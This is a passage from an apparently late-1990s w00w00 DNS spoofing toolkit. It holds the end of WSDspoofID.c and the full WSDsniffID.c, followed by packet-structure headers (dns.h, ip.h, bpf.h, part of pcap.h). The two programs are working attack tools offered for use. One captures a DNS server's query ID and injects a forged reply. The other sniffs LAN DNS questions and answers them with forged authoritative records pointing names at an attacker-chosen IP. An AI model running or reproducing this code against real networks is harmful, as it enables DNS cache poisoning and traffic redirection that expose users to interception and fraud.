  1754.         strcpy(spoofname, argv[6]);
  1755.   } else {
  1756.      printf("Enter the name you want to spoof: ");
  1757.      scanf("%255s", spoofname);
  1758.   }
  1759.  
  1760.   if (argc > 7) {
  1761.      if (strlen(argv[7]) > sizeof(host) - 1) {
  1762.         fprintf(stderr, "argv[7] too long: %s\n", argv[7]);
  1763.         exit(ERROR);
  1764.      } else
  1765.         strcpy(host, argv[7]);
  1766.   } else {
  1767.      printf("Enter the IP of the name to spoof: ");
  1768.      scanf("%255s", host);
  1769.   }
  1770.                                
  1771.   alacon = (char *)inet_ntoa(host2ip(host));
  1772.   strcpy(spoofip, alacon);
  1773.                                    
  1774.   if (argc > 8) strncpy (host, argv[8], sizeof(host));
  1775.   else {
  1776.      printf("Enter the trusted dns for the spoof: ");
  1777.      scanf("%255s", host);
  1778.   }
  1779.  
  1780.   alacon = (char *)inet_ntoa(host2ip(host));
  1781.   strcpy(dnstrust, alacon);
  1782.    
  1783.   dnssend = (struct dnshdr *)buf1;
  1784.   data2   = (char *)(buf1+DNSHDRSIZE);
  1785.  
  1786.   bzero(buf1, sizeof(buf1));
  1787.     
  1788.   sraw = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  1789.   if (sraw == ERROR) {
  1790.      perror("socket");
  1791.      exit(ERROR);
  1792.   }
  1793.   
  1794.   if ((setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)))
  1795.     == ERROR) {
  1796.      perror("setsockopt");
  1797.      exit(ERROR);
  1798.   }
  1799.  
  1800.   printf("WSDspoofID.c %s w00w00 ID sniffer\n", VERSION);
  1801.   printf("w00w00 Security Development\n");
  1802.   sleep(1);
  1803.  
  1804.   pcap_d = pcap_open_live(argv[1],1024,0,100,ebuf);
  1805.  
  1806.   s_ipns = host2ip(argv[4]);
  1807.   d_ip   = host2ip(argv[2]);
  1808.   con    = myrand();
  1809.  
  1810.   /* Make the question to get the ID */
  1811.  
  1812.   sprintf(namefake, "%d%d%d.%s", myrand(), myrand(), myrand(), argv[3]); 
  1813.  
  1814.   dnssend->id = 2600;
  1815.   dnssend->qr = 0;
  1816.   dnssend->rd = 1;
  1817.   dnssend->aa = 0;
  1818.   dnssend->que_num = htons(1);
  1819.   dnssend->rep_num = htons(0);
  1820.  
  1821.   i = makepacketQS(data2, namefake, TYPE_A);
  1822.   udp_send(sraw, s_ipns, d_ip,2600+con, 53, buf1, DNSHDRSIZE+i);
  1823.  
  1824.   printf("Question sent...please wait\n");
  1825.  
  1826.   while(1) { 
  1827.      buf = (u_char *)pcap_next(pcap_d,&h); /* catch the packet */  
  1828.   
  1829.      ip      = (struct iphdr   *)(buf+ETHHDRSIZE);
  1830.      udp     = (struct udphdr  *)(buf+ETHHDRSIZE+IPHDRSIZE);
  1831.      dnsrecv = (struct dnshdr  *)(buf+ETHHDRSIZE+IPHDRSIZE+UDPHDRSIZE);
  1832.      data    = (char *)(buf+ETHHDRSIZE+IPHDRSIZE+UDPHDRSIZE+DNSHDRSIZE);
  1833.  
  1834.      if (ip->protocol == IPPROTO_UDP) {
  1835.         printf("[%s:%d ->", (char *)inet_ntoa(ip->saddr), ntohs(udp->source));
  1836.         printf("%s:%d]\n",  (char *)inet_ntoa(ip->daddr), ntohs(udp->dest));
  1837.      }
  1838.  
  1839.      if (ip->protocol == 17)     
  1840.         if (ip->saddr.s_addr  == d_ip)
  1841.            if (ip->daddr.s_addr == s_ipns) 
  1842.               if (udp->dest  == htons(53))
  1843.                  if (dnsrecv->qr == 0) {
  1844.                     printf("We have the packet!\n");
  1845.              
  1846.                     ID = dnsrecv->id; /* We have the id. */
  1847.              
  1848.                      printf("the current id of %s is %d \n", argv[2],
  1849.                             ntohs(ID));
  1850.              
  1851.                      DA_ID = ntohs(ID);
  1852.            
  1853.                      printf("Sending the spoof...\n");
  1854.                      dnsspoof(dnstrust, argv[2], spoofname, spoofip,
  1855.                               DA_ID,type); 
  1856.            
  1857.                      printf("Spoof sent...\n");
  1858.                     
  1859.                      exit(0);
  1860.                  }    
  1861.   }
  1862.  
  1863. ----[END of WSDspoofID.c ]----
  1864.  
  1865.  
  1866. ----[WSDsniffID.c]----
  1867. /* ******************************************************* */
  1868. /* w00w00 LAN ID Sniffer                     Super Raw  */
  1869. /* ------------------------------------------------------- */
  1870. /* w00w00 Security Development (WSD)               */
  1871. /* Email: WSD@w00w00.org                   */
  1872. /* Sites: http://www.w00w00.org, ftp://ftp.w00w00.org/pub  */
  1873. /* ******************************************************* */
  1874.  
  1875. #include <pcap.h>
  1876.  
  1877. #include "WSD-spoof.c"
  1878. #include "dns.h"
  1879. #include "WSD-DNS2.c"
  1880.  
  1881. #define  ERROR        -1                
  1882. #define  DNSHDRSIZE 12    
  1883. #define  VERSION    "v0.4" 
  1884.  
  1885. int ETHHDRSIZE;
  1886.  
  1887. void usage() {
  1888.   printf("Usage: WSDsniffID <device> <IP> <name> <type of spoof[1,12]>\n");
  1889.   printf("Example: WSDsniffID eth0 \"127.0.0.1\" \"www.its.me.com\"\n");
  1890.   printf("Raw-Powa (WSD)\n");
  1891.   
  1892.   exit(ERROR);
  1893. }       
  1894.  
  1895.                      
  1896. void main(int argc, char **argv)
  1897. {   
  1898.   int sraw, on = 1, tmp1, type;
  1899.      
  1900.   char *buffer;
  1901.   char *data, *data2;
  1902.  
  1903.   struct pcap *pcap_d;
  1904.   struct pcap_pkthdr h;
  1905.    
  1906.   struct iphdr  *ip;
  1907.   struct udphdr *udp;
  1908.   struct dnshdr *dnsrecv, *dnssend;
  1909.  
  1910.    char host[255];
  1911.    char tmp2[255];
  1912.    char ebuf[255];
  1913.    char buffer2[1024];    
  1914.    char spoofip[255], spoofname[255];
  1915.    
  1916.    unsigned char names[255];
  1917.  
  1918.      
  1919.    printf("w00w00 LAN ID SNIFFER! Super Raw\n");
  1920.    printf("w00w00 Security Development (WSD)\n");
  1921.    printf("WSD@w00w00.org\n");
  1922.                                  
  1923.      
  1924.    if (argc < 2) usage();
  1925.    if (strstr(argv[1], "ppp0")) ETHHDRSIZE = 0;
  1926.     else ETHHDRSIZE = 14; 
  1927.  
  1928.    if (strlen(argv[2]) > sizeof(spoofip) - 1) {
  1929.       fprintf(stderr, "argv[2] too long: %s\n", argv[2]);
  1930.       exit(ERROR);
  1931.    }    
  1932.  
  1933.    if (strlen(argv[3]) > sizeof(spoofip) - 1) {
  1934.       fprintf(stderr, "argv[3] too long: %s\n", argv[3]);
  1935.       exit(ERROR);
  1936.    }    
  1937.  
  1938.    strcpy(spoofip, argv[2]);
  1939.    strcpy(spoofname, argv[3]);
  1940.    type = atoi(argv[4]);
  1941.   
  1942.    dnssend = (struct dnshdr  *)buffer2;
  1943.    data2   = (char *)(buffer2+12);
  1944.  
  1945.    bzero(host,    sizeof(host));
  1946.    bzero(buffer2, sizeof(buffer2));
  1947.    
  1948.   
  1949.    sraw = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  1950.    if (sraw == ERROR) {
  1951.       perror("socket");
  1952.       exit(ERROR);
  1953.    }
  1954.  
  1955.   if ((setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))) 
  1956.         == ERROR) {
  1957.     perror("setsockopt");
  1958.     exit(ERROR);
  1959.   }    
  1960.  
  1961.   /* open pcap descriptor */
  1962.   pcap_d = pcap_open_live(argv[1], sizeof(buffer), 0, 100, ebuf);
  1963.  
  1964.   while(1) {    
  1965.      buffer = (u_char *)pcap_next(pcap_d,&h); /* catch the packet */
  1966.       
  1967.      ip      = (struct iphdr   *)(buffer+ETHHDRSIZE);
  1968.      udp     = (struct udphdr  *)(buffer+ETHHDRSIZE+IPHDRSIZE);
  1969.      dnsrecv = (struct dnshdr  *)(buffer+ETHHDRSIZE+IPHDRSIZE+UDPHDRSIZE);
  1970.      data    = (char *)(buffer+ETHHDRSIZE+IPHDRSIZE+UDPHDRSIZE+DNSHDRSIZE);
  1971.  
  1972.      if (ip->protocol == 17)
  1973.         if (udp->dest == htons(53))    
  1974.            if (dnsrecv->qr == 0) {
  1975.               strcpy(names, data); 
  1976.               nameformat(names, host);
  1977.          
  1978.               printf("We have a DNS question from %s, which wants: %s!\n",
  1979.                      (char *)inet_ntoa(ip->saddr), host);
  1980.                                            
  1981.               bzero(host, sizeof(host));
  1982.  
  1983.               printf("The question has a type %d "
  1984.                      "and type of the query is %d\n",
  1985.                      ntohs(*((u_short *)(data+strlen(data)+1))), 
  1986.                      ntohs(*((u_short *)(data+strlen(data)+2+1))));
  1987.         
  1988.               printf("Making the spoofed packet...\n");
  1989.                  
  1990.               /* Here we are going to start making the spoofed packet */
  1991.        
  1992.               memcpy(dnssend, dnsrecv, DNSHDRSIZE+strlen(names)+5);
  1993.        
  1994.               dnssend->id=dnsrecv->id;     /* The ID               */   
  1995.               dnssend->aa=1;             /* I have the authority */ 
  1996.           dnssend->ra=1;               /* I have the recusion  */
  1997.               dnssend->qr=1;               /* It's an answer       */
  1998.               dnssend->rep_num = htons(1); /* I have one awnser    */
  1999.  
  2000.             
  2001.               printf("ID = %d, Number of question = %d, "
  2002.                      "number of anwser = %d\n",
  2003.                      dnssend->id, ntohs(dnssend->que_num), 
  2004.                      ntohs(dnssend->rep_num));  
  2005.  
  2006.               printf("Question..\n");
  2007.               printf("domainename = %s\n", data2);
  2008.               printf("type of question = %d\n", 
  2009.                      ntohs(*((u_short *)(data2+strlen(names)+1))));
  2010.               printf("type of query = %d\n",
  2011.                      ntohs(*((u_short *)(data2+strlen(names)+1+2))));
  2012.      
  2013.              if (type == TYPE_PTR) { 
  2014.                 tmp1 = strlen(names)+5;
  2015.                 strcpy(data2+tmp1, names);
  2016.                 tmp1 = tmp1+strlen(names)+1;                            
  2017.         
  2018.                 bzero(tmp2, sizeof(tmp2));
  2019.                 nameformat(spoofname, tmp2); 
  2020.           
  2021.                 *((u_short *)(data2+tmp1))       = htons(TYPE_PTR);   
  2022.                 *((u_short *)(data2+tmp1+2))     = htons(1);
  2023.                 *((u_long  *)(data2+tmp1+2+2))   = htonl(86400);
  2024.                 *((u_short *)(data2+tmp1+2+2+4)) = htons(strlen((tmp2)+1));
  2025.      
  2026.                 strcpy((data2+tmp1+2+2+4+2), tmp2);
  2027.       
  2028.                 tmp1 = tmp1 +strlen(tmp2)+ 1;
  2029.              }
  2030.       
  2031.              if (type == TYPE_A) {
  2032.                 tmp1 = strlen(names)+5;
  2033.                 strcpy(data2+tmp1, names);
  2034.                 tmp1 = tmp1+strlen(names)+1;
  2035.                 *((u_short *)(data2+tmp1))         = htons(TYPE_A);
  2036.                 *((u_short *)(data2+tmp1+2))       = htons(1);
  2037.                 *((u_long  *)(data2+tmp1+2+2))     = htonl(86400);      
  2038.                 *((u_short *)(data2+tmp1+2+2+4))   = htons(4);
  2039.                 *((u_long  *)(data2+tmp1+2+2+4+2)) = host2ip(spoofip);
  2040.              }
  2041.                         
  2042.              printf("Answer..\n");
  2043.                printf("domainname = %s\n", tmp2);
  2044.              printf("type = %d\n", ntohs(*((u_short   *)(data2+tmp1))));
  2045.              printf("classe = %d\n", ntohs(*((u_short *)(data2+tmp1+2))));
  2046.              printf("time to live = %lu\n", 
  2047.                    ntohl(*((u_long *)(data2+tmp1+2+2))));
  2048.              printf("resource data length = %d\n", 
  2049.                    ntohs(*((u_short *)(data2+tmp1+2+2+4))));
  2050.  
  2051.              printf("IP = %s\n", 
  2052.                    (char *)inet_ntoa(*((u_long *)(data2+tmp1+2+2+4+2))));
  2053.     
  2054.              /* Now tmp1 == the total length of packet dns without the */
  2055.              /* dnshdr.                                           */
  2056.              tmp1 = tmp1+2+2+4+2+4; 
  2057.           
  2058.              udp_send(sraw, ip->daddr, ip->saddr, ntohs(udp->dest),
  2059.                       ntohs(udp->source), buffer2, DNSHDRSIZE+tmp1);
  2060.            }
  2061.   }
  2062. }
  2063. ----[END of WSDsniffID.c ]----
  2064.  
  2065.  
  2066. ----[udp.h ]----
  2067. struct udphdr {
  2068.    u_short source;  /* source port      */
  2069.    u_short dest;    /* destination port */
  2070.    u_short len;        /* udp length       */
  2071.    u_short check;   /* udp checksum     */
  2072. };
  2073. ----[END of udp.h]----
  2074.  
  2075. ----[ dns.h ]---- 
  2076. #define DNSHDRSIZE 12
  2077.    
  2078. struct dnshdr {
  2079. unsigned short int id;
  2080.  
  2081. unsigned char  rd:1;           
  2082. unsigned char  tc:1;           
  2083. unsigned char  aa:1;           
  2084. unsigned char  opcode:4;       
  2085. unsigned char  qr:1;          
  2086.  
  2087. unsigned char  rcode:4;        
  2088. unsigned char  unused:2;       
  2089. unsigned char  pr:1;           
  2090. unsigned char  ra:1;           
  2091.  
  2092. unsigned short int que_num;
  2093. unsigned short int rep_num;
  2094. unsigned short int num_rr;
  2095. unsigned short int num_rrsup;
  2096. };
  2097. ----[ END of dns.h ]----
  2098.  
  2099.  
  2100. ----[ ip.h ]----
  2101. /* adapted from tcpdump */
  2102.  
  2103. #ifndef IPVERSION
  2104.   #define IPVERSION 4
  2105. #endif  /* IPVERISON */
  2106.  
  2107. struct iphdr {
  2108.   u_char  ihl:4,    /* header length */
  2109.           version:4;    /* version */
  2110.   u_char  tos;        /* type of service */
  2111.   short   tot_len;    /* total length */
  2112.   u_short id;        /* identification */
  2113.   short   off;        /* fragment offset field */
  2114. #define IP_DF   0x4000    /* dont fragment flag */
  2115. #define IP_MF   0x2000    /* more fragments flag */
  2116.   u_char  ttl;        /* time to live */
  2117.   u_char  protocol;    /* protocol */
  2118.   u_short check;    /* checksum */
  2119.   struct  in_addr saddr, daddr;  /* source and dest address */
  2120. };
  2121.  
  2122. #ifndef IP_MAXPACKET
  2123.   #define IP_MAXPACKET 65535
  2124. #endif  /* IP_MAXPACKET */
  2125.  
  2126. ----[ END of ip.h ]----
  2127.  
  2128. ----[bpf.h]----
  2129. /*-
  2130.  * Copyright (c) 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997
  2131.  *    The Regents of the University of California.  All rights reserved.
  2132.  *
  2133.  * This code is derived from the Stanford/CMU enet packet filter,
  2134.  * (net/enet.c) distributed as part of 4.3BSD, and code contributed
  2135.  * to Berkeley by Steven McCanne and Van Jacobson both of Lawrence 
  2136.  * Berkeley Laboratory.
  2137.  *
  2138.  * Redistribution and use in source and binary forms, with or without
  2139.  * modification, are permitted provided that the following conditions
  2140.  * are met:
  2141.  * 1. Redistributions of source code must retain the above copyright
  2142.  *    notice, this list of conditions and the following disclaimer.
  2143.  * 2. Redistributions in binary form must reproduce the above copyright
  2144.  *    notice, this list of conditions and the following disclaimer in the
  2145.  *    documentation and/or other materials provided with the distribution.
  2146.  * 3. All advertising materials mentioning features or use of this software
  2147.  *    must display the following acknowledgement:
  2148.  *      This product includes software developed by the University of
  2149.  *      California, Berkeley and its contributors.
  2150.  * 4. Neither the name of the University nor the names of its contributors
  2151.  *    may be used to endorse or promote products derived from this software
  2152.  *    without specific prior written permission.
  2153.  *
  2154.  * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
  2155.  * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
  2156.  * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
  2157.  * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
  2158.  * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
  2159.  * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
  2160.  * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
  2161.  * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
  2162.  * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
  2163.  * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
  2164.  * SUCH DAMAGE.
  2165.  *
  2166.  *      @(#)bpf.h       7.1 (Berkeley) 5/7/91
  2167.  *
  2168.  * @(#) $Header: bpf.h,v 1.36 97/06/12 14:29:53 leres Exp $ (LBL)
  2169.  */
  2170.  
  2171. #ifndef BPF_MAJOR_VERSION
  2172.  
  2173. /* BSD style release date */
  2174. #define BPF_RELEASE 199606
  2175.  
  2176. typedef    int bpf_int32;
  2177. typedef    u_int bpf_u_int32;
  2178.  
  2179. /*
  2180.  * Alignment macros.  BPF_WORDALIGN rounds up to the next 
  2181.  * even multiple of BPF_ALIGNMENT. 
  2182.  */
  2183. #define BPF_ALIGNMENT sizeof(bpf_int32)
  2184. #define BPF_WORDALIGN(x) (((x)+(BPF_ALIGNMENT-1))&~(BPF_ALIGNMENT-1))
  2185.  
  2186. #define BPF_MAXINSNS 512
  2187. #define BPF_MAXBUFSIZE 0x8000
  2188. #define BPF_MINBUFSIZE 32
  2189.  
  2190. /*
  2191.  *  Structure for BIOCSETF.
  2192.  */
  2193. struct bpf_program {
  2194.     u_int bf_len;
  2195.     struct bpf_insn *bf_insns;
  2196. };
  2197.  
  2198. /*
  2199.  * Struct returned by BIOCGSTATS.
  2200.  */
  2201. struct bpf_stat {
  2202.     u_int bs_recv;        /* number of packets received */
  2203.     u_int bs_drop;        /* number of packets dropped */
  2204. };
  2205.  
  2206. /*
  2207.  * Struct return by BIOCVERSION.  This represents the version number of 
  2208.  * the filter language described by the instruction encodings below.
  2209.  * bpf understands a program iff kernel_major == filter_major &&
  2210.  * kernel_minor >= filter_minor, that is, if the value returned by the
  2211.  * running kernel has the same major number and a minor number equal
  2212.  * equal to or less than the filter being downloaded.  Otherwise, the
  2213.  * results are undefined, meaning an error may be returned or packets
  2214.  * may be accepted haphazardly.
  2215.  * It has nothing to do with the source code version.
  2216.  */
  2217. struct bpf_version {
  2218.     u_short bv_major;
  2219.     u_short bv_minor;
  2220. };
  2221. /* Current version number of filter architecture. */
  2222. #define BPF_MAJOR_VERSION 1
  2223. #define BPF_MINOR_VERSION 1
  2224.  
  2225. /*
  2226.  * BPF ioctls
  2227.  *
  2228.  * The first set is for compatibility with Sun's pcc style
  2229.  * header files.  If your using gcc, we assume that you
  2230.  * have run fixincludes so the latter set should work.
  2231.  */
  2232. #if (defined(sun) || defined(ibm032)) && !defined(__GNUC__)
  2233. #define    BIOCGBLEN    _IOR(B,102, u_int)
  2234. #define    BIOCSBLEN    _IOWR(B,102, u_int)
  2235. #define    BIOCSETF    _IOW(B,103, struct bpf_program)
  2236. #define    BIOCFLUSH    _IO(B,104)
  2237. #define BIOCPROMISC    _IO(B,105)
  2238. #define    BIOCGDLT    _IOR(B,106, u_int)
  2239. #define BIOCGETIF    _IOR(B,107, struct ifreq)
  2240. #define BIOCSETIF    _IOW(B,108, struct ifreq)
  2241. #define BIOCSRTIMEOUT    _IOW(B,109, struct timeval)
  2242. #define BIOCGRTIMEOUT    _IOR(B,110, struct timeval)
  2243. #define BIOCGSTATS    _IOR(B,111, struct bpf_stat)
  2244. #define BIOCIMMEDIATE    _IOW(B,112, u_int)
  2245. #define BIOCVERSION    _IOR(B,113, struct bpf_version)
  2246. #define BIOCSTCPF    _IOW(B,114, struct bpf_program)
  2247. #define BIOCSUDPF    _IOW(B,115, struct bpf_program)
  2248. #else
  2249. #define    BIOCGBLEN    _IOR('B',102, u_int)
  2250. #define    BIOCSBLEN    _IOWR('B',102, u_int)
  2251. #define    BIOCSETF    _IOW('B',103, struct bpf_program)
  2252. #define    BIOCFLUSH    _IO('B',104)
  2253. #define BIOCPROMISC    _IO('B',105)
  2254. #define    BIOCGDLT    _IOR('B',106, u_int)
  2255. #define BIOCGETIF    _IOR('B',107, struct ifreq)
  2256. #define BIOCSETIF    _IOW('B',108, struct ifreq)
  2257. #define BIOCSRTIMEOUT    _IOW('B',109, struct timeval)
  2258. #define BIOCGRTIMEOUT    _IOR('B',110, struct timeval)
  2259. #define BIOCGSTATS    _IOR('B',111, struct bpf_stat)
  2260. #define BIOCIMMEDIATE    _IOW('B',112, u_int)
  2261. #define BIOCVERSION    _IOR('B',113, struct bpf_version)
  2262. #define BIOCSTCPF    _IOW('B',114, struct bpf_program)
  2263. #define BIOCSUDPF    _IOW('B',115, struct bpf_program)
  2264. #endif
  2265.  
  2266. /*
  2267.  * Structure prepended to each packet.
  2268.  */
  2269. struct bpf_hdr {
  2270.     struct timeval    bh_tstamp;    /* time stamp */
  2271.     bpf_u_int32    bh_caplen;    /* length of captured portion */
  2272.     bpf_u_int32    bh_datalen;    /* original length of packet */
  2273.     u_short        bh_hdrlen;    /* length of bpf header (this struct
  2274.                        plus alignment padding) */
  2275. };
  2276. /*
  2277.  * Because the structure above is not a multiple of 4 bytes, some compilers
  2278.  * will insist on inserting padding; hence, sizeof(struct bpf_hdr) won't work.
  2279.  * Only the kernel needs to know about it; applications use bh_hdrlen.
  2280.  */
  2281. #ifdef KERNEL
  2282. #define SIZEOF_BPF_HDR 18
  2283. #endif
  2284.  
  2285. /*
  2286.  * Data-link level type codes.
  2287.  */
  2288. #define DLT_NULL    0    /* no link-layer encapsulation */
  2289. #define DLT_EN10MB    1    /* Ethernet (10Mb) */
  2290. #define DLT_EN3MB    2    /* Experimental Ethernet (3Mb) */
  2291. #define DLT_AX25    3    /* Amateur Radio AX.25 */
  2292. #define DLT_PRONET    4    /* Proteon ProNET Token Ring */
  2293. #define DLT_CHAOS    5    /* Chaos */
  2294. #define DLT_IEEE802    6    /* IEEE 802 Networks */
  2295. #define DLT_ARCNET    7    /* ARCNET */
  2296. #define DLT_SLIP    8    /* Serial Line IP */
  2297. #define DLT_PPP        9    /* Point-to-point Protocol */
  2298. #define DLT_FDDI    10    /* FDDI */
  2299. #define DLT_ATM_RFC1483    11    /* LLC/SNAP encapsulated atm */
  2300. #define DLT_RAW        12    /* raw IP */
  2301. #define DLT_SLIP_BSDOS    13    /* BSD/OS Serial Line IP */
  2302. #define DLT_PPP_BSDOS    14    /* BSD/OS Point-to-point Protocol */
  2303.  
  2304. /*
  2305.  * The instruction encondings.
  2306.  */
  2307. /* instruction classes */
  2308. #define BPF_CLASS(code) ((code) & 0x07)
  2309. #define        BPF_LD        0x00
  2310. #define        BPF_LDX        0x01
  2311. #define        BPF_ST        0x02
  2312. #define        BPF_STX        0x03
  2313. #define        BPF_ALU        0x04
  2314. #define        BPF_JMP        0x05
  2315. #define        BPF_RET        0x06
  2316. #define        BPF_MISC    0x07
  2317.  
  2318. /* ld/ldx fields */
  2319. #define BPF_SIZE(code)    ((code) & 0x18)
  2320. #define        BPF_W        0x00
  2321. #define        BPF_H        0x08
  2322. #define        BPF_B        0x10
  2323. #define BPF_MODE(code)    ((code) & 0xe0)
  2324. #define        BPF_IMM     0x00
  2325. #define        BPF_ABS        0x20
  2326. #define        BPF_IND        0x40
  2327. #define        BPF_MEM        0x60
  2328. #define        BPF_LEN        0x80
  2329. #define        BPF_MSH        0xa0
  2330.  
  2331. /* alu/jmp fields */
  2332. #define BPF_OP(code)    ((code) & 0xf0)
  2333. #define        BPF_ADD        0x00
  2334. #define        BPF_SUB        0x10
  2335. #define        BPF_MUL        0x20
  2336. #define        BPF_DIV        0x30
  2337. #define        BPF_OR        0x40
  2338. #define        BPF_AND        0x50
  2339. #define        BPF_LSH        0x60
  2340. #define        BPF_RSH        0x70
  2341. #define        BPF_NEG        0x80
  2342. #define        BPF_JA        0x00
  2343. #define        BPF_JEQ        0x10
  2344. #define        BPF_JGT        0x20
  2345. #define        BPF_JGE        0x30
  2346. #define        BPF_JSET    0x40
  2347. #define BPF_SRC(code)    ((code) & 0x08)
  2348. #define        BPF_K        0x00
  2349. #define        BPF_X        0x08
  2350.  
  2351. /* ret - BPF_K and BPF_X also apply */
  2352. #define BPF_RVAL(code)    ((code) & 0x18)
  2353. #define        BPF_A        0x10
  2354.  
  2355. /* misc */
  2356. #define BPF_MISCOP(code) ((code) & 0xf8)
  2357. #define        BPF_TAX        0x00
  2358. #define        BPF_TXA        0x80
  2359.  
  2360. /*
  2361.  * The instruction data structure.
  2362.  */
  2363. struct bpf_insn {
  2364.     u_short    code;
  2365.     u_char     jt;
  2366.     u_char     jf;
  2367.     bpf_int32 k;
  2368. };
  2369.  
  2370. /*
  2371.  * Macros for insn array initializers.
  2372.  */
  2373. #define BPF_STMT(code, k) { (u_short)(code), 0, 0, k }
  2374. #define BPF_JUMP(code, k, jt, jf) { (u_short)(code), jt, jf, k }
  2375.  
  2376. #ifdef KERNEL
  2377. extern u_int bpf_filter();
  2378. extern void bpfattach();
  2379. extern void bpf_tap();
  2380. extern void bpf_mtap();
  2381. #else
  2382. #if __STDC__
  2383. extern u_int bpf_filter(struct bpf_insn *, u_char *, u_int, u_int);
  2384. #endif
  2385. #endif
  2386.  
  2387. /*
  2388.  * Number of scratch memory words (for BPF_LD|BPF_MEM and BPF_ST).
  2389.  */
  2390. #define BPF_MEMWORDS 16
  2391.  
  2392. #endif
  2393.  
  2394. ----[ END of bpf.h ]----
  2395.  
  2396. ---[pcap.h ]---
  2397. /*
  2398.  * Copyright (c) 1993, 1994, 1995, 1996, 1997
  2399.  *    The Regents of the University of California.  All rights reserved.
  2400.  *
  2401.  * Redistribution and use in source and binary forms, with or without
  2402.  * modification, are permitted provided that the following conditions
  2403.  * are met:
  2404.  * 1. Redistributions of source code must retain the above copyright
  2405.  *    notice, this list of conditions and the following disclaimer.
  2406.  * 2. Redistributions in binary form must reproduce the above copyright
  2407.  *    notice, this list of conditions and the following disclaimer in the
  2408.  *    documentation and/or other materials provided with the distribution.
  2409.  * 3. All advertising materials mentioning features or use of this software
  2410.  *    must display the following acknowledgement:
  2411.  *    This product includes software developed by the Computer Systems
  2412.  *    Engineering Group at Lawrence Berkeley Laboratory.
  2413.  * 4. Neither the name of the University nor of the Laboratory may be used
  2414.  *    to endorse or promote products derived from this software without
  2415.  *    specific prior written permission.
  2416.  *
  2417.  * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
  2418.  * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
  2419.  * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
  2420.  * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
  2421.  * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
  2422.  * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
  2423.  * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
  2424.  * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
  2425.  * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
  2426.  * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
  2427.  * SUCH DAMAGE.
  2428.  *
  2429.  * @(#) $Header: pcap.h,v 1.21 97/10/15 21:59:13 leres Exp $ (LBL)
  2430.  */
  2431.  
  2432. #ifndef lib_pcap_h
  2433. #define lib_pcap_h
  2434.  
  2435. #include <sys/types.h>
  2436. #include <sys/time.h>
  2437.  
  2438. #include <bpf.h>
  2439.  
  2440. #include <stdio.h>
  2441.  
  2442. #define PCAP_VERSION_MAJOR 2
  2443. #define PCAP_VERSION_MINOR 4
  2444.  
  2445. #define PCAP_ERRBUF_SIZE 256
  2446.  
  2447. /*
  2448.  * Compatibility for systems that have a bpf.h that
  2449.  * predates the bpf typedefs for 64-bit support.
  2450.  */
  2451. #if BPF_RELEASE - 0 < 199406
  2452. typedef    int bpf_int32;
  2453. typedef    u_int bpf_u_int32;
  2454. #endif
  2455.  
  2456. typedef struct pcap pcap_t;
  2457. typedef struct pcap_dumper pcap_dumper_t;
  2458.  
  2459. /*
  2460.  * The first record in the file contains saved values for some
  2461.  * of the flags used in the printout phases of tcpdump.
  2462.  * Many fields here are 32 bit ints so compilers won't insert unwanted
  2463.  * padding; these files need to be interchangeable across architectures.
  2464.  */
  2465. struct pcap_file_header {
  2466.     bpf_u_int32 magic;
  2467.     u_short version_major;
  2468.     u_short version_minor;
  2469.     bpf_int32 thiszone;    /* gmt to local correction */
  2470.     bpf_u_int32 sigfigs;    /* accuracy of timestamps */
  2471.     bpf_u_int32 snaplen;    /* max length saved portion of each pkt */
  2472.     bpf_u_int32 linktype;    /* data link type (DLT_*) */
  2473. };
  2474.  
  2475. /*
  2476.  * Each packet in the dump file is prepended with this generic header.
  2477.  * This gets around the problem of different headers for different
  2478.  * packet interfaces.
  2479.  */
  2480. struct pcap_pkthdr {
  2481.     struct timeval ts;    /* time stamp */
  2482.     bpf_u_int32 caplen;    /* length of portion present */
  2483.     bpf_u_int32 len;    /* length this packet (off wire) */
  2484. };
  2485.  
  2486. /*
  2487.  * As returned by the pcap_stats()
  2488.  */
  2489. struct pcap_stat {
  2490.     u_int ps_recv;        /* number of packets received */
  2491.     u_int ps_drop;        /* number of packets dropped */
  2492.     u_int ps_ifdrop;    /* drops by interface XXX not yet supported */
  2493. };
  2494.  
  2495. typedef void (*pcap_handler)(u_char *, const struct pcap_pkthdr *,
  2496.                  const u_char *);
  2497.  
  2498. char    *pcap_lookupdev(char *);
  2499. int    pcap_lookupnet(char *, bpf_u_int32 *, bpf_u_int32 *, char *);
  2500. pcap_t    *pcap_open_live(char *, int, int, int, char *);
  2501. pcap_t    *pcap_open_offline(const char *, char *);
